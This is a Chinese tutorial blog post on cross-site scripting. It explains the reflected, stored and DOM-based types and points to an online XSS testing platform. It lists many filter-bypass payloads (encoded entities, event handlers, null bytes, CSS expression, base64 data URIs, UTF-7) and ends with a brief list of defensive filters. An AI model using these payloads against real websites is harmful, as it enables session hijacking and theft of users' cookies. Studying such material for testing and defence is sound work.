XSS

Ex01 什么是XSS?

跨站点脚本(XSS)是向真实网站添加恶意代码以便恶意收集用户信息的过程。XSS攻击可能通过Web应用程序中的安全漏洞进行,并且通常通过注入客户端脚本来利用,简单来说就是通过非法途径获取用户的cookie来进行恶意登陆。

Ex02 XSS测试平台

这是一个免费的XSS测试平台 http://www.l31.cc/index.php
XSS测试平台也可以自行搭建,一般用于****

这里创建一个项目

XSS平台的使用极大的方便了我们进行xss漏洞的测试。

Ex03 XSS原理

XSS都是发生在前端,所以可以直接看到闭合方式。
使用 JS 脚本语言,因为浏览器模特让你支持脚本语言执行,如果在表单提交的时候,提交一些脚本参数,可能浏览器直接执行。
这个网站是js在线测试平台。
https://wow.techbrood.com/fiddle/7708


这里我们输入了一个弹窗命令,游览器给我们反馈了。
所以我们一般是利用这一点进行测试 搜索框,讨论区等地方是否存在XSS漏洞。
但是现在很多网站都会对XSS进行规避像一些特殊字符,比如<、>如果不进行特殊字符处理的话,很可能受到 XSS 攻击
用户如果提交 < 转换成 &lt;
一、标准语句
< script>alert(/XSS/)</ script>
二、尝试大小写
< sCript>alert(1)</ scRipt>
三、使用标签
1、windows事件
< img src=“x” οnerrοr=alert(1)>
<img src=“1” οnerrοr=eval(“alert(‘xss’)”)>
//图片加载错误时触发
这里增加了一些空格因为不加会被过滤,或者说被当成了js代码执行了,输出问题导致的js代码被执行。

所以这里我们需要用一些规避方法不让他被执行。让他显示出来。

Ex04 XSS分类

XSS 分类: 非持久性,持久性和基于 Dom(此类可以是持久的,也可以是不持久的)

**非持久性:**非持久性 XSS 也被称为反射性 XSS,是目前最普遍的类型,当攻击者提供了一些代码的时候, 服务器端马上就会返回页面的执行结果。举个例子,就比如某个网页上的搜索引擎,如果攻击者搜索的字 符串包含了一些 html 标签,通常来说,搜索的结果就会以该形式显示出来,或者,至少搜索的字符串 会包含在页面里。而这个我们是可以修改的,如果任何搜索的字符串都没有被 html 编码,XSS 漏洞就产 生了。

持久性 XSS: 也叫做存储型 XSS,或是二次漏洞,他能够导致更加有效的攻击。当攻击者提交到 web 应用 程序里的数据会永久性的存储到服务器的时候会产生这类漏洞,(比如数据库,文件系统,其他位置),之 后,如果没有经过 HTML 编码,那么每一个访问该页面的用户都会被攻击,典型的例子就是在线留言板, 它允许用户提交数据。

基于 DOM 的 XSS: 也叫做本地跨站,基于 html/xml 上叫做文档对象模型(DOM)的标准对象模型,这类 漏洞,问题出现在页面的客户端脚本上,比如,如果一个 javascript 脚本处理 url 请求参数,然后使用这 个参数值来显示给用户页面,没有经过任何编码,那么 XSS 漏洞产生,和非持久的类似,攻击者可以用恶 意代码填充这个参数,然后覆写的页面诱骗用户点击,然后就会被浏览器解析成 html,包含了恶意的脚本 代码。

Ex05 XSS测试的常用套路

最常用的 XSS 漏洞测试代码::
< script>alert(“XSS”)</ script>

当这个代码被注入到输入框或是 url 参数的时候,会成功也可能会失败,如果失败了。也不意味着网站就 是安全的。需要继续渗透。
XSS绕过过滤

转义字符串
第一步是查看当前的页面源代码,看看是不是包含了我们的这个测试的字符串,如果你发现了。你就会发 现很有意思。是在一个输入(INput)标签里。
< INPUT type=“text” value=’< SCRIPT>alert(“XSS”)</ SCRIPT>’>

在这个例子,我们可以修改我们的输入来包含两个字符,来让代码跳出那对外围的单引号,
'>< SCRIPT>alert(“XSS”)</ SCRIPT>

现在我们的代码执行了。因为我们闭合了前面的 html 标签,就触发了 XSS,但是,你可能会发现,页面 上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代 码。
‘>< SCRIPT>alert(“XSS”)</ SCRIPT><xss a=’

所有的输入就会变成这样:
< INPUT type=“text” value=’’>< SCRIPT>alert(“XSS”)</ SCRIPT>< xss a=’’>

Ok 了。Javascript 代码就注入了。< xss a=”>这个没什么意义,你可以自己改,但是符合 html 的标准, 页面不会出错。
绕过单引号过滤继续!
同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通过一些类似 add_slashes 的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:

<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
//哈哈突然发可以正常写入。

有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过 html 的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于, 因为这被解释为 html 标签,但是,你如果要用,可以用下面的来代替。


&#34; &quot;  "  双引号
&#38; &amp;  &  &符号
&#60; &lt;     <  小于号
&#62; &gt;    >   大于号

使用&quot;或者&#34; 来代替我们的双引号,有时候可以绕过过滤。 例子:
<script>alert("XSS")</script> <script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>

如果这都被过滤了。那我们可以使用 JavaScript 的 fromCharCode 函数,这个函数把指定的 Unicode 值转换成字符串。
比如:

<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text" value='\'>
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>

你可以使用 Mysql 数据库的 char(字符,字符)来转换字符到字符码,大家可以使用自己喜欢的就行了。 转码的工具还是很多的。
绕过 < SCRIPT> 过滤
有些过滤器会过滤到< script>标签,那上面的例子就都废了,但是。还是有方法插入 javascript 的。我 们看看事件处理器的例子。
< BODY οnlοad=“alert(‘XSS’)”>

在 html 里啊。这个 Onload 关键字就是一个事件,其他的所有标签都没有这个属性,但是 Body 标签是有的。但是,有一定的局限性,如果 onload 事件在你的代码之前已经被处理了。那就不会触发了。。不 过我们可以继续看看 onerror 事件处理。

<IMG SRC="" onerror="alert('XSS')">

注意看,图片没有指定,也就是出错了。Onerror 这个事件就会触发。引发 XSS 漏洞,没有用< script> 标签哦。
使用 IMG 源
Html 中最常用的两个标签 img 和 a href 一般是不会过滤的,一个指定图片,一个指定超链接。最危险的是 img 标签。
下面是一些例子:

标准的样子:
<IMG SRC="javascript:alert('XSS');"> 没有双引号和分号:
<IMG SRC=javascript:alert('XSS')> 过滤了双引号和<script>:
<IMG SRC=javascript:alert(&quot;XSS&quot;)> 使用 CharCode 绕过过滤:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> 有经验的攻击者也可以把上面的全部转换成相等的 Ascii 码:
<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#10 1; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> 使用 Ascii 表你可以自己试试。当然转换成 16 进制也是可以的。。
<IMG
SRC=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C ;& #x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;> 使用制表符, 换行符和回车符
这些符号都是可以用来欺骗过滤器的。
<IMG SRC="jav&#x9ascript:alert('XSS');">
上面的例子使用了最小的十六进制的制表符来欺骗过滤器。最后的输出结果不变
<IMG SRC="javascript:alert('XSS');"> Type Horizontal Tab New line Carriage Return
URL %09 %10 %13
Minimal Sized Hex &#x9 &#xA &#xD
Maximum Sized Hex &#x0000009; &#x000000A; &#x000000D;
Minimum Sized Decimal &#9 &#10 &#13
Maximum Sized Decimal &#x0000009; &#x0000009; &#0000009; 使用空字符
另一个可以绕过的就是空字符,这是最有效的工具了。。
下面这个就是个例子。:
<SCR%00IPT>alert("XSS")</SCRIPT> //%00也叫00截断特别好用。

空字符 (%00) 使得过滤器不能看到完整的 < SCRIPT> 标签. 只在 IE 6.0, IE 7.0 可以。
双引号配对的 bug
绕过这种过滤就是寻找闭合的标签,然后构造来突破
比如:
<IMG “”">< SCRIPT>alert(‘XSS’)</ SCRIPT>">
通常我们认为,img 标签里。前两个引号被认为是一对,什么都不做,下一个引号和最后的匹配,但是事 实不是这样,所有的浏览器都在试图修正这一问题。
结果最终如下:
< img>< script>alert(‘xss’)</ script>">
绕过 CSS过滤器
HTML 标签用来插入 javaScript 很有用,但是 CSS 也是可以的哦。有很多方式向 CSS 里插入 XSS,所 有更多的方法可以攻击,嘴尖的方法是吧 XSS 代码放到 LINK 方式引用的 CSS 的 href 属性里面去
< LINK REL=“stylesheet” HREF=“javascript:alert(‘XSS’);”>
另一个方式是使用< STYLE>标签,不是很常见,一般是论坛啊。允许用户设计自己的贴的源代码的时候。
< STYLE> a { width: expression(alert(‘XSS’)) } </ STYLE>
还有一种方式
< DIV STYLE=“width: expression(alert(‘XSS’));”>
不全面的过滤器
我们看看当开发者已经把能想到的都过滤了或者什么的。就安全了吗?不。我们可以依然可以向数据指令 (我前段时间还看到了。现在忘了这个准确的翻译了)里插入代码。我们通过 base64 加密 .

< META HTTP-EQUIV=“refresh” CONTENT=“0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 K”>
数据指令允许我们把完全的文档变成一个单一的字符串。在火狐等浏览器都可以用。尼玛没说具体的用法。
使用双引号

如果你需要使用双引号和单引号。使用一些诡异的用法把。。
<IMG SRC=`javascript:alert("Look its, 'XSS'")`>
转义字符
转义字符有时候很有用,可以对付一些简单的过滤器
<IMG SRC=`javascript:alert(\"XSS\")`>
结果如下:
<IMG SRC=`javascript:alert(\\"XSS\\")`> 编码
使用 utf-7 编码可以绕过
比如
<script>alert("XSS")</script>
使用 UTF-7 编码后:
+ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4-
然后所有的加号需要被改成%2b,否则会被浏览器识别为连接符
%2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4-
一个列表:
字符 实体引用
空格 %20
/    %2F
"    %22
?    %3F
+    %2B

上述这些都可以自行在js在线测试平台进行测试。

Ex06 XSS防御

上面讲了那么多的攻击技巧然后返回来写个防御,这不是自己搞自己吗。。。头大
首先最有效的是过滤<>大小于号。可以在过大小于号上多下点功夫,
还有哪些东西可以过滤
1、过滤空格
2、过滤关键字
3、过滤单双引号
4、过滤括号
5、过滤URL地址
这个地址里有一些过滤的方法
https://blog.csdn.net/qq_39806107/article/details/101519856
防御这东西啊一向是:防君子,不防大佬。

XSS(跨站脚本攻击)理论知识相关推荐

  1. 渗透知识-XSS跨站脚本攻击

    XSS跨站脚本攻击:两种情况.一种通过外部输入然后直接在浏览器端触发,即反射型XSS:还有一种则是先把利用代码保存在数据库或文件中,当web程序读取利用代码并输出在页面上时触发漏洞,即存储型XSS.D ...

  2. [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)

    这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步.前文分享了Python弱口令攻击.自定义字典生成,并构建了Web目录扫描器:本文将 ...

  3. XSS(跨站脚本攻击)相关内容总结整理

    XSS的攻击相关资料整理 文章目录 XSS的攻击相关资料整理 跨站脚本攻击(XSS) XSS 简介 XSS 危害 XSS 原理 XSS 分类 XSS 防御总结 XSS 问答 参考资料 跨站脚本攻击(X ...

  4. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结。

    之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让自己在接下来的面试有个清晰的概念. XSS跨站脚本攻击: xss 跨站脚本攻击(Cross Site Scripting),为了不和 ...

  5. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结

    转载:https://blog.csdn.net/baidu_24024601/article/details/51957270 XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结. <di ...

  6. xss跨站脚本攻击_网络安全xss跨站脚本攻击原理

    以下在未经授权的网站操作均为违法行为 XSS跨站脚本攻击 xss的危害 网络钓鱼,盗取各类账号密码 我们先来看一下下面的案例:先来记住一下下面中的表 我们来做一个转发 上面页面显示已经登录,但是突然页 ...

  7. 遭遇 XSS 跨站脚本攻击?稳住,这些方法可保你渡劫 | 附代码、图解

    作者 | 杨秀璋 责编 | 夕颜 出品 | CSDN博客 本文将详细讲解XSS跨站脚本攻击,从原理.示例.危害到三种常见类型(反射型.存储型.DOM型),并结合代码示例进行详细讲解,最后分享了如何预防 ...

  8. XSS(跨站脚本攻击)漏洞解决方案

    XSS(跨站脚本攻击)漏洞解决方案 参考文章: (1)XSS(跨站脚本攻击)漏洞解决方案 (2)https://www.cnblogs.com/boboxing/p/9261996.html 备忘一下 ...

  9. XSS 跨站脚本攻击 的防御解决方案

    XSS 跨站脚本攻击 的防御解决方案 参考文章: (1)XSS 跨站脚本攻击 的防御解决方案 (2)https://www.cnblogs.com/suwings/p/6285340.html 备忘一 ...

  10. 《XSS跨站脚本攻击剖析与防御》—第6章6.1节参 考 文 献

    本节书摘来自异步社区<XSS跨站脚本攻击剖析与防御>一书中的第6章6.1节参 考 文 献,作者邱永华,更多章节内容可以访问云栖社区"异步社区"公众号查看. 参 考 文 ...

最新文章

  1. Windows SQL Server 2008 群集(摘自网络)
  2. 行业盛会!2018中国人体微生物组大会
  3. 大学计算机课英语心得体会,关于计算机网络辅助大学英语教学的思考学习心得...
  4. php7.2 的好处,PHP 7.2 中弃用的功能
  5. c语言全排列算法_一文学会回溯搜索算法解题技巧
  6. TQ210 —— s5pv210 Linux内核结构
  7. (23)css3文字阴影text-shadow
  8. 合众朱光林:借O2O模式反馈企业才有价值
  9. html页面色块布局代码,Html 实现动态显示颜色块的报表效果(实例代码)
  10. 2020没赚到,你真的该好好想想了
  11. DPM 2012 R2恢复Exchange 2013单用户邮箱
  12. HTML基础【1】:认识 HTML
  13. 基于SOM算法的Iris数据分类
  14. Unity3D游戏框架设计
  15. Solaris11操作命令汇总
  16. 泛泰A860(高通8064 cpu 1080p) 刷4.4专用中文recovery TWRP2.7.1.2版(三版通刷)
  17. 计算机中求声音传输时间公式,混响时间常用的几种计算公式
  18. 关于Hindon的ILSVRC 2012经典论文
  19. 工业互联网大数据平台建设方案
  20. win10的系统mysql服务器地址,win10系统上的mysql服务器地址

热门文章

  1. 光影魔术手出现load XAR失败,解决办法。
  2. 求旋转体体积表面积时的dx,ds问题的简单解释
  3. High Version Count Issues(SQL高Version Count) (文档 ID 296377.1)
  4. go (golang) DNS域名解析实现
  5. 盛世昊通董车长2.0,数字化整合行业产业链变革
  6. 手写Android热修复
  7. 康奈尔大学计算机生物学是,康奈尔大学计算生物学难进吗?
  8. macM1 出现 zsh: command not found: brew问题解决方案
  9. 台式计算机怎么加一个硬盘,台式机添加硬盘方法
  10. 国际结算名词解释汇总